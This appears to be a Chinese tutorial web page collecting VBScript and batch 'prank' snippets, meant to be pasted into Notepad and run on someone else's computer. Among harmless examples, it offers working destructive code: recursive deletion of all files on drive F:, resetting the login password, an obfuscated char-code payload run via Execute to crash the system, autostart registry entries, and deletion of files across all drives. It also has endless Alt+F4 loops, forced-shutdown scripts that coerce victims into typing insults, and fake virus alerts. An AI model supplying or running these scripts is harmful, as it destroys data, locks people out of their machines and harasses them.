记事本好玩vbs代码(记事本vbs恶搞简单代码)

http://www.itjxue.com  2023-01-31 21:10  来源:未知  点击次数: 

怎么用记事本编关机程序,要vbs格式的

1、在桌面(其实任何地方都可以)新建一个记事本程序。

2、修改文件名,新命名为:shutdown.vbs。

3、右键点击,然后点击编辑按钮,进入下一步。

4、输入代码;set ws=createobject("wscript.shell")创建一个可以调用cmd命令的对象。

5、再次输入代码:ws.run"cmd.exe /c shutdown -s -f -t 0"调用run方法,其中包含了关机命令(shutdown -s -f -t 0)。

6、然后就能双击vbs文件,进行自动关机了。

求简单的vbs代码

个人收藏的,给你了。

1.VBS获取路径集合

1.1.VBS获取系统安装路径

程序代码

set WshShell = WScript.CreateObject("WScript.Shell")

strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")

上面的代码意思是先定义这个变量是获取系统安装路径的,然后我们用"strWinDir"调用这个变量。

1.2.C:\Program Files路径

程序代码

msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%ProgramFiles%")

1.3.C:\Program Files\Common Files路径

程序代码

msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%CommonProgramFiles%")

2.给桌面添加网址快捷方式

程序代码

set gangzi = WScript.CreateObject("WScript.Shell")

strDesktop = gangzi.SpecialFolders("Desktop")

set oShellLink = gangzi.CreateShortcut(strDesktop "\Internet Explorer.lnk")

oShellLink.TargetPath = ""

oShellLink.Description = "Internet Explorer"

oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0"

oShellLink.Save

3.给收藏夹添加网址

程序代码

Const ADMINISTRATIVE_TOOLS = 6

Set objShell = CreateObject("Shell.Application")

Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)

Set objFolderItem = objFolder.Self

Set objShell = WScript.CreateObject("WScript.Shell")

strDesktopFld = objFolderItem.Path

Set objURLShortcut = objShell.CreateShortcut(strDesktopFld "\小游戏网站.url")

objURLShortcut.TargetPath = ""

objURLShortcut.Save

4.删除指定目录指定后缀文件

程序代码

On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")

fso.DeleteFile "C:\*.vbs", True

Set fso = Nothing

上面代码为删除C盘根目录下后缀为vbs的文件

5.VBS改主页

程序代码

Set oShell = CreateObject("WScript.Shell")

oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page",""

6.VBS加启动项

程序代码

Set oShell=CreateObject("Wscript.Shell")

oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"

7.VBS复制自己

程序代码

set copy1=createobject("scripting.filesystemobject")

copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs")

复制自己到C盘的huan.vbs

程序代码

set copy1=createobject("scripting.filesystemobject")

copy1.getfile("game.exe").copy("c:\gangzi.exe")

复制本vbs目录下的game.exe文件到c盘的gangzi.exe

8.VBS获取系统临时目录

程序代码

Dim fso

Set fso = CreateObject("Scripting.FileSystemObject")

Dim tempfolder

Const TemporaryFolder = 2

Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)

Wscript.Echo tempfolder

9.就算代码出错 依然继续执行

程序代码

On Error Resume Next

10.VBS打开网址

程序代码

Set objShell = CreateObject("Wscript.Shell")

objShell.Run("")

11.VBS发送邮件

程序代码

NameSpace = ""

Set Email = CreateObject("CDO.Message")

Email.From = "发件@qq.com"

Email.To = "收件@qq.com"

Email.Subject = "Test sendmail.vbs"

Email.Textbody = "OK!"

Email.AddAttachment "C:\1.txt"

With Email.Configuration.Fields

.Item(NameSpace"sendusing") = 2

.Item(NameSpace"smtpserver") = "smtp.邮件服务器.com"

.Item(NameSpace"smtpserverport") = 25

.Item(NameSpace"smtpauthenticate") = 1

.Item(NameSpace"sendusername") = "发件人用户名"

.Item(NameSpace"sendpassword") = "发件人密码"

.Update

End With

Email.Send

12.VBS结束进程

程序代码

strComputer = "."

Set objWMIService = GetObject _

("winmgmts:\\" strComputer "\root\cimv2")

Set colProcessList = objWMIService.ExecQuery _

("Select * from Win32_Process Where Name = 'Rar.exe'")

For Each objProcess in colProcessList

objProcess.Terminate()

Next

13.VBS隐藏打开网址

13.1.部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用

程序代码

createObject("wscript.shell").run "iexplore ",0

13.2.兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了Program Files路径,应该比上面的方法好,但是两种方法都不是绝对的。(本方法由刚子原创)

程序代码

Set objws=WScript.CreateObject("wscript.shell")

objws.Run """C:\Program Files\Internet Explorer\iexplore.exe""",vbhide

14.VBS遍历硬盘删除指定文件名(下面我增加了一个先结束进程在删除的功能,不需要可以去掉)

程序代码

On Error Resume Next

Dim fPath

strComputer = "."

Set objWMIService = GetObject _

("winmgmts:\\" strComputer "\root\cimv2")

Set colProcessList = objWMIService.ExecQuery _

("Select * from Win32_Process Where Name = 'gangzi.exe'")

For Each objProcess in colProcessList

objProcess.Terminate()

Next

Set objWMIService = GetObject("winmgmts:" _

"{impersonationLevel=impersonate}!\\" strComputer "\root\cimv2")

Set colDirs = objWMIService. _

ExecQuery("Select * from Win32_Directory where name LIKE '%c:%' or name LIKE '%d:%' or name LIKE '%e:%' or name LIKE '%f:%' or name LIKE '%g:%' or name LIKE '%h:%' or name LIKE '%i:%'")

Set objFSO = CreateObject("Scripting.FileSystemObject")

For Each objDir in colDirs

fPath = objDir.Name "\gangzi.exe"

objFSO.DeleteFile(fPath), True

Next

15.VBS获取网卡MAC地址

程序代码

Dim mc,mo

Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")

For Each mo In mc

If mo.IPEnabled=True Then

MsgBox "本机网卡MAC地址是: " mo.MacAddress

Exit For

End If

Next

16.VBS获取本机注册表主页地址

程序代码

Set reg=WScript.CreateObject("WScript.Shell")

startpage=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page")

MsgBox startpage

17.VBS遍历所有磁盘的所有目录,找到所有.txt的文件,然后给所有txt文件最底部加一句话。

程序代码

On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")

Co = VbCrLf "路过。。。"

For Each i In fso.Drives

If i.DriveType = 2 Then

GF fso.GetFolder(i "\")

End If

Next

Sub GF(fol)

Wh fol

Dim i

For Each i In fol.SubFolders

GF i

Next

End Sub

Sub Wh(fol)

Dim i

For Each i In fol.Files

If LCase(fso.GetExtensionName(i)) = "shtml" Then

fso.OpenTextFile(i,8,0).Write Co

End If

Next

End Sub

18.获取计算机所有盘符

程序代码

Set fso=CreateObject("scripting.filesystemobject")

Set objdrives=fso.Drives '取得当前计算机的所有磁盘驱动器

For Each objdrive In objdrives '遍历磁盘

MsgBox objdrive

Next

19.VBS给本机所有磁盘根目录创建文件 (刚子原创)

程序代码

On Error Resume Next

Set fso=CreateObject("Scripting.FileSystemObject")

Set gangzis=fso.Drives '取得当前计算机的所有磁盘驱动器

For Each gangzi In gangzis '遍历磁盘

Set TestFile=fso.CreateTextFile(""gangzi"\新建文件夹.vbs",Ture)

TestFile.WriteLine("By ")

TestFile.Close

Next

20.VBS遍历本机全盘找到所有123.exe,然后给他们改名321.exe

程序代码

set fs = CreateObject("Scripting.FileSystemObject")

for each drive in fs.drives

fstraversal drive.rootfolder

next

sub fstraversal(byval this)

for each folder in this.subfolders

fstraversal folder

next

set files = this.files

for each file in files

if file.name = "123.exe" then file.name = "321.exe"

next

end sub

21.VBS写入代码到粘贴板(先说明一下,VBS写内容到粘贴板,网上千篇一律都是通过InternetExplorer.Application对象来实现,但是缺点是在默认浏览器为非IE中会弹出浏览器,所以费了很大的劲找到了这个代码来实现)

程序代码

str=“这里是你要复制到剪贴板的字符串”

Set ws = wscript.createobject("wscript.shell")

ws.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""str""""+")(close)",0,true

22.QQ自动发消息(保存BVS运行即可看到效果,希望高手举一反三,刚子原创)

程序代码

On Error Resume Next

str="我是笨蛋/qq"

Set WshShell=WScript.CreateObject("WScript.Shell")

WshShell.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""str""""+")(close)",0

WshShell.run "tencent://message/?Menu=yesuin=20016964Site=Service=200sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true

WScript.Sleep 3000

WshShell.SendKeys "^v"

WshShell.SendKeys "%s"

23.VBS隐藏文件

程序代码

Set objFSO = CreateObject("Scripting.FileSystemObject")

Set objFile = objFSO.GetFile("F:\软件大赛\show.txt")

If objFile.Attributes = objFile.Attributes AND 2 Then

objFile.Attributes = objFile.Attributes XOR 2

End If

24.VBS生成随机数(521是生成规则,不同的数字生成的规则不一样,可以用于其它用途)

程序代码

Randomize 521

point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))

msgbox join(point,"")

25.VBS删除桌面IE图标(非快捷方式)

程序代码

Set oShell = CreateObject("WScript.Shell")

oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon",1,"REG_DWORD"

26.VBS获取自身文件名

程序代码

Set fso = CreateObject("Scripting.FileSystemObject")

msgbox WScript.ScriptName

能够保存已经打开的记事本文件的vbs代码

完整代码如下:

Dim?WMI,?WSH,?proc,?procs

Set?WMI?=?GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")

Set?WSH?=?CreateObject("wscript.Shell")

flag?=?0

Do?Until?flag?=?1

??Set?procs?=?WMI.execquery("select?*?from?win32_process")

??For?Each?proc?in?procs

????If?proc.name?=?"notepad.exe"?And?InStr(proc.commandline,"123.txt")Then

??????WSH.AppActivate?"123.txt?-?记事本"

??????Wscript.Sleep?1000

??????WSH.SendKeys?"%"

??????Wscript.Sleep?200

??????WSH.SendKeys?"F"

??????Wscript.Sleep?200

??????WSH.SendKeys?"A"

??????Wscript.Sleep?200

??????WSH.SendKeys?"456.txt"

??????Wscript.Sleep?200

??????WSH.SendKeys?"{ENTER}"

??????flag?=?1

??????Exit?For

????End?IF

??Next

??Wscript.Sleep?60000

Loop

Set?WMI?=?Nothing

Set?WSH?=?Nothing

Set?procs?=?Nothing

vbs整人代码(要可以用的) 我直接COPY到记事本里,所以别打错了。

---------------------------------------------------------------------

代码:

Set ws=WScript.CreateObject("WScript.Shell")

ws.popup"大家好,我就是改变社会风气,风魔万千少女,刺激电影市道,提高年轻人内涵,",10,"闪亮登场",64

ws.popup"玉树临风,风度翩翩的……“咕噜…咕噜…”,不好意思,我内急先闪了,再见!",15,"farewell",64

wscript.sleep 100000

ws.popup"发现重要windows更新未安装,系统将自动下载更新并安装",10

ws.popup"正在下载windows更新……",12

wscript.sleep 10000

ws.popup"windows更新已下载完毕,正在安装更新……",12

wscript.sleep 3000

msgbox"系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ,并在强行嵌入你的电脑",4132,"是否对其进行扫描?"

msgbox"软件名:comcontroler.exe "vbcrlf""vbcrlf" 大小:1.21MB "vbcrlf""vbcrlf" 发行者:幻想丶永恒(403746401)"vbcrlf""vbcrlf" 安全状况:有病毒",vbinformation

msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装"

msgbox"阻止失败,请检查防火墙是否开启"

wscript.sleep 15000

ws.popup"windows更新安装成功!",vbinfmation,20

msgbox"您的电脑可能已被入侵,请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation

ws.popup"哈哈,我已经控制了你的电脑!",12,"很高兴见到你",64

ws.popup"不信?我用你的电脑打开我的QQ空间给你看看",10

ws.run""

msgbox"警告:为了您的电脑安全,请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformation

ws.popup"我再打开中国神泣官方网站",10

ws.run""

ws.popup"现在相信了吧?我再打开你的记事本给你写封英语信",20

ws.popup"记事本会被打开并最大化,这时你不要动,千万别把目标转移到其他窗口,耐心看我把信写完。否则引起系统混乱我可不负责!"

ws.run "notepad",3 : wscript.sleep 2000

verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",")

---------------------------------------------------------------------

代码2:

WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"TSName)

WScript.Echo("你是可爱的XX童鞋吗?")

WScript.Echo("哈,我想你拉,这你都不知道吗?")

WScript.Echo("怎么才来,说~是不是不关心我")

WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")

WScript.Echo("夜黑很生气,后果很严重哦。")

WScript.Echo("嘿嘿!你也会很惨滴哦")

WScript.Echo("是不是想清除我?")

WScript.Echo("那你要点上100下哦,不过会给你惊喜滴")

WScript.Echo("还剩100下,快点点哦")

WScript.Echo("还剩99下,快点,小笨蛋!")

WScript.Echo("还剩98下对,就这样快点点!")

WScript.Echo("还剩97下。你啊就是笨,要快哦,我先不打扰你工作。")

WScript.Echo("还剩96下,记得要快哦!")

WScript.Echo("还剩95下")

WScript.Echo("还剩94下")

WScript.Echo("还剩93下")

WScript.Echo("还剩92下")

WScript.Echo("还剩91下")

WScript.Echo("还剩90下")

WScript.Echo("还剩89下")

WScript.Echo("还剩88下")

WScript.Echo("还剩87下")

WScript.Echo("还剩86下")

WScript.Echo("还剩85下")

WScript.Echo("还剩84下")

WScript.Echo("还剩83下")

WScript.Echo("还剩82下")

WScript.Echo("还剩81下")

WScript.Echo("还剩80下")

WScript.Echo("还剩79下")

WScript.Echo("还剩78下")

WScript.Echo("还剩77下")

WScript.Echo("还剩76下")

WScript.Echo("还剩75下")

WScript.Echo("还剩74下")

WScript.Echo("还剩73下")

WScript.Echo("还剩72下")

WScript.Echo("还剩71下")

WScript.Echo("还剩70下")

WScript.Echo("还剩69下")

WScript.Echo("还剩68下")

WScript.Echo("还剩67下")

WScript.Echo("还剩66下")

WScript.Echo("还剩65下")

WScript.Echo("还剩64下")

WScript.Echo("还剩63下")

WScript.Echo("还剩62下")

WScript.Echo("还剩61下")

WScript.Echo("还剩60下")

WScript.Echo("还剩59下")

WScript.Echo("还剩58下")

WScript.Echo("还剩57下")

WScript.Echo("还剩56下")

WScript.Echo("还剩55下")

WScript.Echo("还剩54下")

WScript.Echo("还剩53下")

WScript.Echo("还剩52下")

WScript.Echo("还剩51下")

WScript.Echo("还剩50下")

WScript.Echo("还剩49下")

WScript.Echo("还剩48下")

WScript.Echo("还剩47下")

WScript.Echo("还剩46下")

WScript.Echo("还剩45下")

WScript.Echo("还剩44下")

WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.Echo("还剩41下")

WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下")

WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下")

WScript.Echo("还剩34下")

WScript.Echo("还剩33下")

WScript.Echo("还剩32下")

WScript.Echo("还剩31下")

WScript.Echo("还剩30下")

WScript.Echo("还剩29下")

WScript.Echo("还剩28下")

WScript.Echo("还剩27下")

WScript.Echo("还剩26下")

WScript.Echo("还剩25下")

WScript.Echo("还剩24下")

WScript.Echo("还剩23下")

WScript.Echo("还剩22下")

WScript.Echo("还剩21下")

WScript.Echo("还剩20下")

WScript.Echo("还剩19下")

WScript.Echo("还剩18下")

WScript.Echo("还剩17下")

WScript.Echo("还剩16下")

WScript.Echo("还剩15下")

WScript.Echo("还剩14下")

WScript.Echo("还剩13下")

WScript.Echo("还剩12下")

WScript.Echo("还剩11下")

WScript.Echo("还剩10下")

WScript.Echo("还剩9下")

WScript.Echo("还剩8下")

WScript.Echo("还剩7下")

WScript.Echo("还剩6下")

WScript.Echo("还剩5下")

WScript.Echo("还剩4下")

WScript.Echo("还剩3下")

WScript.Echo("还剩2下")

WScript.Echo("还剩1下")

WScript.Echo("还剩0下")

WScript.Echo("哎看你可怜,饶了你吧")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下")

WScript.Echo("还剩下停停!!!慢点,我有话要说")

WScript.Echo("还剩下,你继续点我就会消失滴")

WScript.Echo("还剩下,以后就看不到我拉。呜呜~555555")

WScript.Echo("还剩下,你现在可以选择停止!")

WScript.Echo("还剩下。你还点啊,不要我拉?")

WScript.Echo("还剩下,有点伤心拉,干嘛丢弃人家")

WScript.Echo("还剩下。疯了,你有点负意!")

WScript.Echo("还剩下。对。你就点吧,我恨你!")

WScript.Echo("还剩下,不明白,删除我你就好吗?")

WScript.Echo("还剩下!真要删除我?")

WScript.Echo("还剩下。可是我真的很眷恋你。。。")

WScript.Echo("还剩下。不要这么绝情嘛,人家是爱你的!")

WScript.Echo("还剩下。哼,既然你这么绝情。也别怪我无义!!!")

WScript.Echo("我本因该消失的,不过我留恋你滴芳容,万能的上帝又给了一次机会。")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("呵呵。QQ1021435988")

WScript.Echo("呵呵。QQ1021435988")

WScript.Echo("呵呵。QQ1021435988")

WScript.Echo("呵呵。QQ1021435988")

WScript.Echo("呵呵。QQ1021435988")

WScript.Echo("呵呵。QQ1021435988")

WScript.Echo("呵呵。QQ1021435988")

WScript.Echo("呵呵。QQ1021435988")

---------------------------------------------------------------------

蓝屏代码:

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-

23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-

13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103

,98,111,120,32,34,-15133,89,-13899,-20026,-

20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-

14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-

13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-

24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-

18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1

01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,

46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,

116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1

03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101

,110,100,32,105,102,13,10,13,10,13,10)

for i=1 to UBound(strs)

runner=runnerchr(strs(i))

next

Execute runner

---------------------------------------------------------------------

掉qq:

taskkill /im qq.exe /f /t

---------------------------------------------------------------------

10秒强制关机(任务管理器无效):

shutdown -s -t 10

---------------------------------------------------------------------

死机:

start cmd

0%

---------------------------------------------------------------------

设置登录密码为2010:

net user "%username%" 2010

---------------------------------------------------------------------

让电脑只剩一个背景

taskkill /im /f /t explorer.exe

---------------------------------------------------------------------

莫名其妙结束当前程序:

set ws=createobject("wscript.shell")

do

ws.sendkeys "%{f4}"

loop

---------------------------------------------------------------------

不断提示你是猪:

do

msgbox("你是猪")

loop

---------------------------------------------------------------------

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说 我是大笨笨!哈哈,不说我就一分钟关你机,不信,试试···我说到做到!"" ",0 ,true

dim a

do while(a "我是大笨蛋!哈哈!我是大肥猪!")

a = inputbox ("说 我是大笨蛋!哈哈!我是大肥猪!,我就不关你的机,快撒,说 ""我是大笨笨!哈哈"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛 猪"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾 嘎嘎.爽歪歪啊 "

---------------------------------------------------------------------

“我是畜生”:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 25 -c ""说我是畜生,不说就20秒关你机,不信,试试···"" ",0 ,true

dim a

do while(a "我是畜生")

a = inputbox ("说我是畜生,就不关机,快撒,说 ""我是畜生"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"

---------------------------------------------------------------------

10秒关机:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 10 -c ""你被耍了"" ",0 ,true

---------------------------------------------------------------------

刷对话框:

do

msgbox("你被耍了")

loop

---------------------------------------------------------------------

直接关机:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -s ",0 ,true

---------------------------------------------------------------------一分钟弹出一次:

do until i=10

i=i+1

msgbox "CPU温度过高,系统出现严重误!",16+4096,"系统提示"

wscript.sleep 1000*60 '时间可以自己改

loop

---------------------------------------------------------------------script language="javascript"

function hr(){

alert('你关不掉的^_^')

hr();

}

/script

body onLoad="hr()"

/body

---------------------------------------------------------------------do while(1)

msgbox "你死定了!"

loop

还有更多的!:

---------------------------------------------------------------------

删除F:\所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true

---------------------------------------------------------------------

不断按下alt+f4 (开什么都关闭……) :

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

---------------------------------------------------------------------

注意:分割线之间为一个代码,复制进TXT文档,另存为.vbs或.vbe,望楼主采纳!!! Q群:108141490 --村长

(责任编辑:IT教学网)

更多

推荐新书快递文章